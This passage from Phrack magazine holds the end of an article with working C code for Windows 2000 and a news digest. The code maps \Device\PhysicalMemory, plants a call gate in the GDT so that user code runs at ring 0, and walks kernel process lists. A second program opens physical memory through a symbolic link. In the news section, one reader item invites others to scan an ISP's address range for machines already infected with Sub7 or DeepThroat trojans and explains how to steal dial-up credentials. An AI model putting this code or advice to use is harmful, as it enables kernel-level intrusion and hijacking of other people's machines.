CurMap.Offset = (DWORD) vAddress % Granularity; (DWORD) CurMap.vAddress ‑= CurMap.Offset;

SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL); Sleep(0);

_asm call fword ptr [farcall]

SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL); VirtualUnlock((PVOID) Ring0Func, 0x30);

}

return(CurMap.pAddress);

}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) { PHYSICAL_ADDRESS add;

if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) { add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;

} else {

add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

}

return(add);

}

void UnmapMemory(PVOID MappedAddress) { NtUnmapViewOfSection((HANDLE) ‑1, MappedAddress);

}

int InstallCallgate(HANDLE Section, DWORD Function) {

NTSTATUS ntS;

KGDTENTRY gGdt;

DWORD Size;

PCALLGATE_DESCRIPTOR CgDesc;

_asm sgdt gGdt;

printf("virtual address of GDT : 0x%.8x\n", MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh)); GdtMap.pAddress = GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh)); printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);

Size = gGdt.LimitLow;

ntS = NtMapViewOfSection(Section, (HANDLE) ‑1, &GdtMap.MappedAddress, 0L, Size, &GdtMap.pAddress, &Size, ViewShare, 0, PAGE_READWRITE);

if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) { printf("error: NtMapViewOfSection (code: %x)\n", ntS); return(0);

}

GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry

for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry), GdtMap.Desc=NULL;

(DWORD) CgDesc > (DWORD) GdtMap.MappedAddress; CgDesc‑‑) {

//printf("present:%x, type:%x\n", CgDesc‑>present, CgDesc‑>type);

if(CgDesc‑>present == 0){

CgDesc‑>offset_0_15 = (WORD) (Function & 0xFFFF); CgDesc‑>selector = 8;

CgDesc‑>param_count = 0; //1;

CgDesc‑>some_bits = 0;

CgDesc‑>type = 12; // 32‑bits callgate junior :>

CgDesc‑>app_system = 0; // A system segment

CgDesc‑>dpl = 3; // Ring 3 code can call

CgDesc‑>present = 1;

CgDesc‑>offset_16_31 = (WORD) (Function >> 16); GdtMap.Desc = CgDesc;

break;

}

}

if (GdtMap.Desc == NULL) {

printf("error: unable to find free entry for installing callgate\n"); printf(" not normal by the way .. your box is strange =]\n"); }

GdtMap.Segment =

((WORD) ((DWORD) CgDesc ‑ (DWORD) GdtMap.MappedAddress))|3; printf("Allocated segment : %x\n", GdtMap.Segment); return(1);

}

int UninstallCallgate(HANDLE Section, DWORD Function) { PCALLGATE_DESCRIPTOR CgDesc;

for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry); (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress; CgDesc‑‑) {

if((CgDesc‑>offset_0_15 == (WORD) (Function & 0xFFFF)) && CgDesc‑>offset_16_31 == (WORD) (Function >> 16)){ memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR)); return(1);

}

}

NtUnmapViewOfSection((HANDLE) ‑1, GdtMap.MappedAddress); return(0);

}

void UnmapVirtualMemory(PVOID vAddress) { NtUnmapViewOfSection((HANDLE) ‑1, vAddress);

}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) { PHYSICAL_ADDRESS pAddress;

NTSTATUS ntS;

DWORD MappedSize;

PVOID MappedAddress=NULL;

//printf("* vAddress: 0x%.8x\n", vAddress);

pAddress = NewGetPhysicalAddress((PVOID) vAddress); //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",

// CurMap.vAddress, CurMap.Offset);

//printf("* pAddress: 0x%.16x\n", pAddress);

// check for error (1= impossible value)

if (pAddress.QuadPart != 1) {

Size += CurMap.Offset; // adjust mapping view

MappedSize = Size;

ntS = NtMapViewOfSection(Section, (HANDLE) ‑1, &MappedAddress, 0L, Size, &pAddress, &MappedSize, ViewShare, 0, PAGE_READONLY);

if (ntS != STATUS_SUCCESS || !MappedSize) { printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n", vAddress, ntS);

return(NULL);

}

} else

MappedAddress = NULL;

printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n", MappedSize, MappedAddress, Size); return(MappedAddress);

}

void DisplayProcesses(HANDLE Section) {

int i = 0;

DWORD Padding;

PEPROCESS CurProcess, NextProcess;

PVOID vCurEntry, vOldEntry, NewMappedAddress; PLIST_ENTRY PsCur;

// first we map PsActiveProcessHead to get first entry

vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4); if (!vCurEntry)

return;

PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);

// most of EPROCESS struct are located around 0xfc[e‑f]00000

// so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping

while (PsCur‑>Flink != PsActiveProcessHead && i<MAX_PROCESS) { NextProcess = (PEPROCESS) TO_EPROCESS(PsCur‑>Flink); //printf("==> Current process: %x\n", CurProcess);

// we map 0x100000 bytes view so we store offset to EPROCESS

Padding = TO_EPROCESS(PsCur‑>Flink) & 0xFFFFF;

// check if the next struct is already mapped in memory

if ((DWORD) vCurEntry<= (DWORD) NextProcess

&& (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){ // no need to remap

// no remapping so we need to calculate the new address

CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

} else {

CurProcess = NextProcess;

// unmap old view and map a new one

// calculate next base address to map

vOldEntry = vCurEntry;

vCurEntry = (PVOID) (TO_EPROCESS(PsCur‑>Flink) & 0xFFF00000);

//printf("link: %x, process: %x, to_map: %x, padding: %x\n",

// PsCur‑>Flink, TO_EPROCESS(PsCur‑>Flink),

// vCurEntry, Padding);

// unmap old view

UnmapVirtualMemory(vOldEntry);

vOldEntry = vCurEntry;

// map new view

vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000); if (!vCurEntry)

break;

// adjust EPROCESS structure pointer

CurProcess =

(PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding); // save mapped address

NewMappedAddress = vCurEntry;

// restore pointer from mapped addresses space 0x4**** to

// the real virtual address 0xf*******

vCurEntry = vOldEntry;

}

// reajust pointer to LIST_ENTRY struct

PsCur = &CurProcess‑>ActiveProcessLinks;

printf(" + %lu\t %s\n", CurProcess‑>UniqueProcessId, CurProcess‑>ImageFileName[0] ? CurProcess‑>ImageFileName : "[system]");

i++;

}

UnmapVirtualMemory(vCurEntry);

}

int main(int argc, char **argv) {

SYSTEM_INFO SysInfo;

OBJECT_ATTRIBUTES ObAttributes;

NTSTATUS ntS;

HANDLE Section;

HMODULE hDll;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

printf(" *** win2k process lister ***\n\n");

GetSystemInfo(&SysInfo);

Granularity = SysInfo.dwAllocationGranularity; printf("Allocation granularity: %lu bytes\n", Granularity); InitializeObjectAttributes(&ObAttributes,

&ObString,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

hDll = LoadLibrary("ntoskrnl.exe");

if (hDll) {

MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD + (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress")); printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress); FreeLibrary(hDll);

}

ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE, &ObAttributes);

if (ntS != STATUS_SUCCESS) {

if (ntS == STATUS_ACCESS_DENIED)

printf("error: access denied to open

\\Device\\PhysicalMemory for r/w\n");

else

printf("error: NtOpenSection (code: %x)\n", ntS); goto cleanup;

}

if (!InstallCallgate(Section, (DWORD) Ring0Func))

goto cleanup;

memset(&CurMap, 0, sizeof(MAPPING));

__try {

DisplayProcesses(Section);

} __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) { printf("exception: trying to clean callgate...\n"); goto cleanup;

}

if (!UninstallCallgate(Section, (DWORD) Ring0Func))

goto cleanup;

cleanup:

if (Section)

NtClose(Section);

return(0);

}

‑‑‑‑[ 5.4 fun_with_ipd.c

#include <stdio.h>

#include <conio.h>

#include <windows.h>

#include "..\kmem.h"

int main() {

NTSTATUS ntS;

HANDLE SymLink, Section;

OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory"); INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

InitializeObjectAttributes(&ObAttributes,

&ObNewName,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

NULL,

NULL);

ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,

&ObAttributes, &ObName);

if (ntS != STATUS_SUCCESS) {

printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS); return(0);

}

ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes); if (ntS != STATUS_SUCCESS)

printf("error: NtOpenSection (code: %x)\n", ntS);

else {

printf("\\Device\\PhysicalMemory opened !!!\n"); NtClose(Section);

}

// now you can do what you want

getch();

NtClose(SymLink);

return(0);

}

‑‑[ 6 ‑ Conclusion

I hope this article helped you to understand the base of Windows kernel objects manipulation. As far as i know you can do as much things as you can with linux's /dev/kmem so there is no restriction except your imagination :).

I also hope that this article will be readen by Linux dudes.

Thankx to CNS, u‑n‑f and subk dudes, ELiCZ for some help and finally syn/ack oldschool people (wilmi power) =]

‑‑[ 7 ‑ References

[1] Sysinternals ‑ www.sysinternals.com

[2] Microsoft DDK ‑ www.microsoft.com/DDK/

[3] unofficial ntifs.h ‑ www.insidewindows.info

[4] www.chapeaux‑noirs.org/win/

[5] Intel IA‑32 Software Developper manual ‑ developer.intel.com [6] Pedestal Software ‑ www.pedestalsoftware.com

[7] BindView's RAZOR ‑ razor.bindview.com

[8] Open Systems Resources ‑ www.osr.com

[9] MSDN ‑ msdn.microsoft.com

books:

* Undocumented Windows 2000 Secrets, A Programmer's Cookbook (http://www.orgon.com/w2k_internals/)

* Inside Microsoft Windows 2000, Third Edition (http://www.microsoft.com/mspress/books/4354.asp)

* Windows NT/2000 Native API Reference

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x11 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P H R A C K W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Content in Phrack World News does not reflect the opinion of any particluar Phrack Staff member. PWN is exclusively done by the scene and for the scene.

0x01: Life sentence for hackers

0x02: Newest IT Job Title: Chief Hacking Officer

0x03: Download Sites Hacked, Source Code Backdoored

0x04: Mitnick testimony burns Sprint in Vegas 'vice hack' case 0x05: Feds may require all email to be kept by ISP's

0x06: BT OpenWorld silent over infection / Customers still clueless 0x07: DeCCS is Free Speech ‑ CSS reverse engineer Jon Johansen set free! 0x08: Gnutella developer Gene Kan, 25, commits suicide

|=[ 0x01 ‑ Life sentence for hackers ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

July 15, 2002

WASHINGTON ‑ The House of Representatives on Monday overwhelmingly approved a bill that would allow for life prisin sentences for computer hackers.

CNET writes that the bill has been approved by a 385‑3 vote. The same bill expands police/agency ability to conduct Internet or telephone eavesdropping _without_ first obtainin a court order. The Cyber Security Enhancement Act (CSEA), the most wide‑ranging computer crime bill to make its way through Congress in years, now heads to the Senate. It's not expected to encounter nay serious opposition.

"A mouse can be just as dangerous as a bullet or a bomb." said Lamar Smith of R‑Tex.

Another section of CSEA would permit Internet providers to disclose the contents of e‑mail messages and other electronic records (IRC, http, ..) to police.

The Free Congress Foundation, which opposes CSEA, criticized Monday evening's vote.

"Congress should stop chipping away at our civil liberties," sai Brad Jansen, an analyst at the conservative group. "A good place to start would be to substantially revise (CSEA) to increase, not diminish, oversight and accountability by the government.".

http://news.com.com/2100‑1001‑944057.html?tag=fd_top

http://www.msnbc.com/news/780923.asp?cp1=1

http://www.wired.com/news/politics/0,1283,50363,00.html

http://thomas.loc.gov/cgi‑bin/bdquery/z?d107:h.r.03482:

http://lamarsmith.house.gov/

http://www.phrack.org/phrack/58/p58‑0x0d

http://www.freesk8.org [<‑‑‑‑ check it out!]

|=[ 0x02 ‑ Newest IT Job Title: Chief Hacking Officer ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

By Jay Lyman

NewsFactor Network

Companies seeking to ensure they are as impervious as possible to the latest computer viruses and to the Internet's most talented hackers often find themselves in need of ‑‑ the Internet's most talented hackers.

Some of these so‑called "white‑hat" hackers hold high positions in various enterprises, including security companies, but analysts told NewsFactor that they rarely carry the actual title "chief hacking officer" because companies tend to be a bit skittish about the connotation.

Still, some security pros ‑‑ such as Aliso Viejo, California‑based Eeye Security's Marc Maiffret ‑‑ do carry the "CHO" title, and few argue the point that in order to protect themselves from the best hackers and crackers, companies need to hire them.

Hidden Hiring

SecurityFocus senior threat analyst Ryan Russell told NewsFactor that while only a handful of companies actually refer to their in‑house hacker as "chief hacking officer," many companies are hiring hackers and giving them titles that are slightly less indicative of their less socially acceptable skills.

"A large number of people who used to do that sort of thing end up working in security," Russell said. "There are some companies out there specifically saying, 'We do not hire hackers, we are against that,' but really they are [hiring them]."

Russell said that while there is definitely an increased emphasis on security since last year's disastrous terrorist attacks, deflation of the dot‑com bubble has resulted in consolidation among security personnel and a reduction in the number of titles that are obviously associated with hacking.

Born To Hack

Russell noted that hackers legitimately working in IT are usually involved in penetration testing.

While companies are uncomfortable hiring IT security personnel with prior criminal records, there are advantages to hiring an experienced hacker, even if the individual has used an Internet "handle" associated with so‑called "black‑hat" hackers.

Still, Russell said, "I think in very few cases do people with the reputation of a hacker or black‑hat [get hired]."

One such person who was hired is Cambridge, Massachusetts‑based security company @Stake's chief scientist, Peiter "Mudge" Zatko ‑‑ well‑known hacker and security expert who has briefed government officials, addressed industry forums and authored an NT password auditing tool.

Regular Workers

Regardless of whether they wear a white hat or a black one, Russel said it takes more than good hacking skills to land a legitimate job.

"You want someone who does [penetrations] for a living," Russell said of penetration testers. "You want them to be good at giving you the information you need."

Russell added that while some hackers hold chief technical officer or equivalent positions, the rule of fewer managers and more employees means there are probably more hackers working in regular jobs than in management.

Checking References

Forrester (Nasdaq: FORR) analyst Laura Koetzle told NewsFactor that companies will not hire anyone convicted of a computer crime, but they will seek out hackers, particularly for penetration testing.

"They won't have a title of chief hacking officer, and they haven't necessarily broken any laws, but they're still skilled at this stuff," she

said.

Koetzle said many companies avoid the issue of checking the backgrounds of former hackers by using services firms, such as PricewaterhouseCoopers or Deloitte & Touche, to hire such personnel.

Extortion and Employment

But hiring hackers can backfire.

Russell said cases of extortion range from blatant attempts at blackmail ‑demanding money to prevent disclosure of customer data or security vulnerabilities ‑‑ to more subtle efforts, wherein hackers find holes, offer a fix and add a request for a job.

According to Koetzle, despite the desire to keep security breaches quiet, companies must resist attempts on the part of potential hacker‑hires to

extort money or work in computer security.

"I would strongly caution against dealing with that type of hacker," Koetzle said. "It absolutely does happen, but it's absolutely the wrong thing to do."

Right or wrong, however, it seems that the person best equipped to ferret out a hacker is another hacker. So, as unsavory as it may seem, the better the hacker, the more likely he or she is to join the square world as chief hacking officer.

|=[ 0x03 ‑ Download Sites Hacked, Source Code Backdoored ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

By Brian McWilliams

SecurityFocus

When source code to a relatively obscure, Unix‑based Internet Relay Chat (IRC) client was reported to be "backdoored", security professionals collectively yawned.

But last week, when three popular network security programs were reported to be similarly compromised, security experts sat up and took notice.

Now, it appears that the two hacking incidents may have been related.

According to programmer Dug Song, the source code to Dsniff, Fragroute, and Fragrouter security tools was contaminated on May 17th after an attacker gained unauthorized access to his site, Monkey.org.

In an interview today, Song said affected users are being contacted, but he declined to provide details of the compromise, citing an ongoing investigation.

When installed on a Unix‑based machine, the modified programs open a backdoor accessible to a remove server hosted by RCN Corporationm according to an experpt of the contaminated Fragroute program posted Friday to Bugtraq by Ansers Nordby of the Norwegian Unix User Group.

In another posting to the Bugtraq mailing list last Friday, Song reported that nearly 2,000 copies of the booby‑trapped security programs were downloaded by unsuspecting Internet users before the malicious code was discovered. Only 800 of the downloads were from Unix‑based machines, according to Song.

Song's subsequent Bugtraq message said that intruders planted the contaminated code at Monkey.org after successfully penetrating a machine operated by one of the site's administrators. The attackers exploited "client‑side hole that produced a shell to one of the local admin's accounts," wrote Song in his message.

The exploit code planted at Monkey.org was nearly identical to a backdoor program that was recently slipped by attackers into the source code of the Irssi IRC chat client for Unix. It's is currently unclear why the attacker used a backdoor that could easily be detected.

According to the notice posted May 25th at Irssi.org, someone "cracked" the distribution site for the IRC program in mid‑March and altered a configuration script to include the back door.

New Precautions Implemented

Installing the compromised Irssi program provided a remove server hosted by FastQ Communications with full shell access to the target machine, said the notice. Irssi's developer, Timo Sirainen, was not immediately available for comment.

Today, the Web server at the Internet protocol address listed in the backdoored Irssi code returned the message: "All your base are belong to us."

Meanwhile, Unknown.nu, the collocated server listed in the backdoored Monkey.org code, today displayed the home of the Niuean Pop Cultural Archive.

When contacted by SecurityFocus Online, the site's administrator, Kim Scarborough, said he was unaware that the machine had been used by the Monkey.org remote exploit.

Scarborough reported that he completely reinstalled the server's system software, including the FreeBSD operating system, on May 30th after discovering evidence that someone had hacked into it.

According to Scarborough, he had first installed the Irssi chat client on the machine around May 17th at the request of a user.

The two security incidents have forced authors of the affected programs to implement new measures to insure the authenticity of their downloadable code.

According to a page at Irssi describing the backdoor, new releases will be signed with the GPG encryption tool, and the author will periodically review the program for changes.

Song said that Monkey.org has implemented technology to restrict user sessions, and that he is considering adding digital signatures to software distributed at the site.

|=[ 0x04 ‑ Mitnick testimony burns Sprint in Vegas 'vice hack' case ]=‑‑‑=|

By Kevin Poulsen

SecurityFocus

Since adult entertainment operator Eddie Munoz first told state regulators in 1994 that mercenary hackers were crippling his business by diverting, monitoring and blocking his phone calls, officials at local telephone company Sprint of Nevada have maintained that, as far as they know, their systems have never suffered a single intrusion.

The Sprint subsidiary lost that innocence Monday when convicted hacker Kevin Mitnick shook up a hearing on the call‑tampering allegations by detailing years of his own illicit control of the company's Las Vegas switching systems, and the workings of a computerized testing system that he says allows silent monitoring of any phone line served by the incumbent telco.

"I had access to most, if not all, of the switches in Las Vegas," testified Mitnick, at a hearing of Nevada's Public Utilities Commission (PUC). "I

had the same privileges as a Northern Telecom technician."

Mitnick's testimony played out like a surreal Lewis Carroll version of a hacker trial ‑‑ with Mitnick calmly and methodically explaining under oath how he illegally cracked Sprint of Nevada's network, while the attorney for the victim company attacked his testimony, effectively accusing the ex‑hacker of being innocent.

The plaintiff in the case, Munoz, 43, is accusing Sprint of negligence in allegedly allowing hackers to control their network to the benefit of a few crooked businesses. Munoz is the publisher of an adult advertising paper that sells the services of a bevy of in‑room entertainers, whose phone numbers are supposed to ring to Munoz's switchboard. Instead, callers frequently get false busy signals, or reach silence, Munoz claims. Occasionally calls appear to be rerouted directly to a competitor. Munoz's complaints have been echoed by other outcall service operators, bail bondsmen and private investigators ‑‑ some of whom appeared at two days of hearings in March to testify for Munoz against Sprint.

Munoz hired Mitnick as a technical consultant in his case last year, after SecurityFocus Online reported that the ex‑hacker ‑‑ a onetime Las Vegas resident ‑‑ claimed he had substantial access to Sprint's network up until his 1995 arrest. After running some preliminary tests, Mitnick withdrew from the case when Munoz fell behind in paying his consulting fees. On the last day of the March hearings, commissioner Adriana Escobar Chanos adjourned the matter to allow Munoz time to persuade Mitnick to testify, a feat Munoz pulled‑off just in time for Monday's hearing.

Mitnick admitted that his testing produced no evidence that Munoz is experiencing call diversion or blocking. But his testimony casts doubt on Sprint's contention that such tampering is unlikely, or impossible. With the five year statute of limitations long expired, Mitnick appeared comfortable describing with great specificity how he first gained access to Sprint's systems while living in Las Vegas in late 1992 or early 1993, and then maintained that access while a fugitive.

Mitnick testified that he could connect to the control consoles ‑‑ quaintly called "visual display units" ‑‑ on each of Vegas' DMS‑100 switching systems through dial‑up modems intended to allow the switches to be serviced remotely by the company that makes them, Ontario‑based Northern Telecom, renamed in 1999 to Nortel Networks.

Each switch had a secret phone number, and a default username and password, he said. He obtained the phone numbers and passwords from Sprint employees by posing as a Nortel technician, and used the same ploy every time he

needed to use the dial‑ups, which were inaccessible by default.

With access to the switches, Mitnick could establish, change, redirect or disconnect phone lines at will, he said.

That's a far cry from the unassailable system portrayed at the March hearings, when former company security investigator Larry Hill ‑‑ who retired from Sprint in 2000 ‑‑ testified "to my knowledge there's no way that a computer hacker could get into our systems." Similarly, a May 2001 filing by Scott Collins of Sprint's regulatory affairs department said that to the company's knowledge Sprint's network had "never been penetrated or compromised by so‑called computer hackers."

Under cross examination Monday by PUC staff attorney Louise Uttinger, Collins admitted that Sprint maintains dial‑up modems to allow Nortel remote access to their switches, but insisted that Sprint had improved

security on those lines since 1995, even without knowing they'd been

compromised before.

But Mitnick had more than just switches up his sleeve Monday.

The ex‑hacker also discussed a testing system called CALRS (pronounced

"callers"), the Centralized Automated Loop Reporting System. Mitnick

first described CALRS to SecurityFocus Online last year as a system that allows Las Vegas phone company workers to run tests on customer lines from a central location. It consists of a handful of client computers, and remote servers attached to each of Sprint's DMS‑100 switches.

Mitnick testified Monday that the remote servers were accessible through 300 baud dial‑up modems, guarded by a technique only slightly more secure than simple password protection: the server required the client ‑‑ normally a computer program ‑‑ to give the proper response to any of 100 randomly chosen challenges. The ex‑hacker said he was able to learn the Las Vegas dial‑up numbers by conning Sprint workers, and he obtained the "seed list" of challenges and responses by using his social engineering skills on Nortel, which manufactures and sells the system.

The system allows users to silently monitor phone lines, or originate calls on other people's lines, Mitnick said.

Mitnick's claims seemed to inspire skepticism in the PUC's technical advisor, who asked the ex‑hacker, shortly before the hearing was to break for lunch, if he could prove that he had cracked Sprint's network. Mitnick said he would try.

Two hours later, Mitnick returned to the hearing room clutching a crumpled, dog‑eared and torn sheet of paper, and a small stack of copies for the commissioner, lawyers, and staff.

At the top of the paper was printed "3703‑03 Remote Access Password List." A column listed 100 "seeds", numbered "00" through "99," corresponding to a column of four digit hexadecimal "passwords," like "d4d5" and "1554."

Commissioner Escobar Chanos accepted the list as an exhibit over the objections of Sprint attorney Patrick Riley, who complained that it hadn't been provided to the company in discovery. Mitnick retook the stand and explained that he used the lunch break to visit a nearby storage locker that he'd rented on a long‑term basis years ago, before his arrest. "I wasn't sure if I had it in that storage locker," said Mitnick. "I hadn't been there in seven years."

"If the system is still in place, and they haven't changed the seed list, you could use this to get access to CALRS," Mitnick testified. "The system would allow you to wiretap a line, or seize dial tone."

Mitnick's return to the hearing room with the list generated a flurry of activity at Sprint's table; Ann Pongracz, the company's general counsel, and another Sprint employee strode quickly from the room ‑‑ Pongracz already dialing on a cell phone while she walked. Riley continued his cross examination of Mitnick, suggesting, again, that the ex‑hacker may have made the whole thing up. "The only way I know that this is a Nortel document is to take you at your word, correct?," asked Riley. "How do we know that you're not social engineering us now?"

Mitnick suggested calmly that Sprint try the list out, or check it with Nortel. Nortel could not be reached for comment.

|=[ 0x05 ‑ Feds may require all email to be kept by ISP's ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

By Kelley Beaucar Vlahos

Fox News

WASHINGTON ‑ It may sound like a plot device for a futuristic movie, but the federal government may not be far from forcing Internet service providers to keep copies of all e‑mail exchanges in the interest of homeland security.

The White House denied a Washington Post report Thursday alleging that the Al Qaeda terrorist network is working on using online and stored data to disrupt the workings of power grids, air traffic towers, dams, and other infrastructure. But a White House official did acknowledge that Al Qaeda has an interest in developing such abilities.

And it's that interest that has technology circles wondering if the federal government is going to follow the European Union's lead in passing legislation that would allow the government to mine data on customers saved by ISPs.

Last month, the European Union passed a resolution that would require all ISPs to store for up to seven years e‑mail message headers, Web‑surfing histories, chat logs, pager records, phone and fax connections, passwords, and more.

Already, Germany, France, Belgium, and Spain have drafted laws that comply with the directive. Technology experts say the U.S. federal government may try to do the same thing using the vast law enforcement allowances provided under the USA Patriot Act.

"They drafted the Patriot Act to lower all of the thresholds for the invasion of privacy," said Gene Riccoboni, a New York‑based Internet lawyer who said he has found loopholes in the anti‑terror legislation

that could open up the possibility for an EU‑style data retention provision.

Under the Patriot Act signed into law in October, law enforcement needs as little as an administrative subpoena to trace names, e‑mail addresses,

types of Internet access individuals use, and credit card numbers used online.

|=[ 0x06 ‑ BT OPENWORLD silent over infection /Customers still clueless ]=|

From: "Bakb0ne"

Subject: [phrackstaff] WORLD NEWS / BT OPENWORLD silent over infection / Customers still clueless after nearly 2 yrs

Btopenworld [1] have been notified to a problem with their Customers computers being infected with the DEEPTHROAT, SUB7 and BO server files (Available from [2]) The computers were infected by downloading and installing BTOWs Dialler Software. Bt were aware of this fact around 18 months ago and the only thing they have done is replace the infected download with a fresh copy of their software.

No customers have been notified and there are still hundreds of users infected with the trojans. Just scan the Ip range 213.122.*.* using the DeepThroat or Sub7 ip scanner and you will see for yourself...

Oh.. one positive note is that BTOW have changed the way you pdate Credit Card information. Previously you could simple use DT to do a "RAS RIP" (steal dialup info), Go onto the BTOW account details section and log‑on. Sometimes you would have to enter D.O.B and mothers maiden name.. but with access to your victims machine this was never hard to get...

Before you all start going on about how LAME trojans are and only Script‑Kiddies use them, think about the damage they do and how popular they are. The reason why I have been using the trojans mentioned above is to see how many ppl are infected and what is posible to access with these programs installed on a target puter...

Oh and I always inform the ppl that they are infected and how to remove the Trojan form their Machine..

Bakb0ne (Bakb0ne@BTopenworld.com)

[1] Http://www.BtOpenworld.com

[2] Http://www.tlsecurity.com

|=[ 0x07 ‑ DeCCS is Free Speech ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An appeals court in California has sided with DVD code crackers like teenage computer whiz‑kid Jon Johansen from Norway. The ruling is a kick in the face of the multi‑billion‑dollar entertainment industry, which is trying to protect its warez by censorship.

Jon Johansen, aslo known by the tabloid as DVD‑Jon, ran into trouble when he (with some friends) reverse‑engineered the DVD codes and shared the findings on the Internet. He was sued by some of the biggest names in the entertainment industry when he made it harder for them to control viewing videos and CDs.

The CSS algorithm was extremly weak, this made it easy to recover the keys used by other DVD players, breaking the entire system.

http://www.users.zetnet.co.uk/hopwood/crypto/decss/

http://www.thefab.net/topics/computing/co25_deccs_free_speech.htm

|=[ 0x08 ‑ Gnutella developer Gene Kan, 25, commits suicide ]=‑‑‑‑‑‑‑‑‑‑‑=|

By Reuters

SAN FRANCISCO (REUTERS) ‑ Gene Kan, one of the key programmers behind the popular file‑sharing technology known as Gnutella, has died in an apparent suicide, officials said on Tuesday. He was 25.

San Mateo County Coroner spokeswoman Sue Turner said Kan was found last week at his northern California home.

"The cause of death was a perforating gunshot wound to the head," Tuner said. "It was a suicide."

A spokeswoman for Kan said he died on June 29 and was cremated on July 5. Further details were being withheld at the request of the family.

Kan helped develop an open source version of the Gnutella protocol, which marked a further step in popularizing the peer‑to‑peer file‑sharing revolution pioneered by the Napster song‑swapping service.

|=[ EO PWN ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack magazine extraction utility

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x12 of 0x12

|=‑‑‑‑‑‑‑‑=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7‑bit clean ASCII codes. As long as there are no extraneous "<++>" or <‑‑>" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> extract/extract4.c !8e2bebc6

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 2000 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

